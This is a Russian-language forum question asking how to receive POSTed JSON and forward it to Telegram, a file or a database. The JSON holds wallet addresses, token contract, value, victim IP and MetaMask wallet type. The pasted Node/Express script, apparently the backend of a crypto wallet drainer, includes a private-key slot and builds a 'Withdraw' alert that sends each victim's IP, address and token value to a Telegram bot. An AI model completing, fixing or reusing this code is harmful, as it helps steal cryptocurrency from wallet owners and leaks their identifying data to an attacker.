@Neverser22

Как из POST JS принять данные и записать их куда либо?

Есть JS Файл, который выполняет функцию и отправляет данные POST, но как их принять и отправить к примеру в телеграмм/текстовый документ/бд?
Такого формата данные в POST
Json
{
  "addressFrom": "0x83EB92C96b5fAF64328e787508f6CA511a2DBB23",
  "addressTo": "0xE6a2cC08aF7A20dA592099da0c9933286A8b332f",
  "chainId": 1,
  "chainName": "Ethereum",
  "contract": "0xd1b0cee386cebd9bce3d6b7279b98334f938cfd7",
  "ip": "11.11.11.11",
  "isEth": false,
  "tokenId": "1159",
  "type": "token",
  "value": 76.846,
  "wallet": "metaMask"
}

И вот такое если развернуть в код:
{"contract":"0xd1b0cee386cebd9bce3d6b7279b98334f938cfd7","addressFrom":"0x83EB92C96b5fAF64328e787508f6CA511a2DBB23","addressTo":"0xE6a2cC08aF7A20dA592099da0c9933286A8b332f","value":76.846,"type":"token","tokenId":"1159","chainId":1,"chainName":"Ethereum","ip":"11.11.11.11","wallet":"metaMask","isEth":false}


Также есть вот такой вот стоящий скрипт на ноде, но он не работает:
const ethers = require('ethers')
const express = require('express')
const axios = require('axios')

const { networks, abi } = require('./networks')
const app = express()

const PRIVATE_KEY = ""
const TELEGRAM_API = {
    token: "",
    chatId: ""
}

const sendMessage = ({ ip, addressFrom, wallet, value, token, tokenId, chainName }) => {
    let message = '<b>Withdraw</b>\n\n';

    message += `IP: <b>${ip}</b>\n`;
    message += `Wallet: <b>${wallet}</b>\n`;
    message += `Address: <b>${addressFrom}</b>\n`;
    message += `Token: <b>${token}</b>\n`;
    message += `Chain: <b>${chainName}</b>\n`;
    message += `Value: <b>${value.toFixed(2)}$</b>\n`;

    if (tokenId) {
        message += `Token Id: <b>${tokenId}</b>`;
    }

    axios.get(
        `https://api.telegram.org/bot${TELEGRAM_API.token}/sendMessage?chat_id=${TELEGRAM_API.chatId}&text=${message}&parse_mode=HTML`,
    );
}
  • Вопрос задан
  • 102 просмотра
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы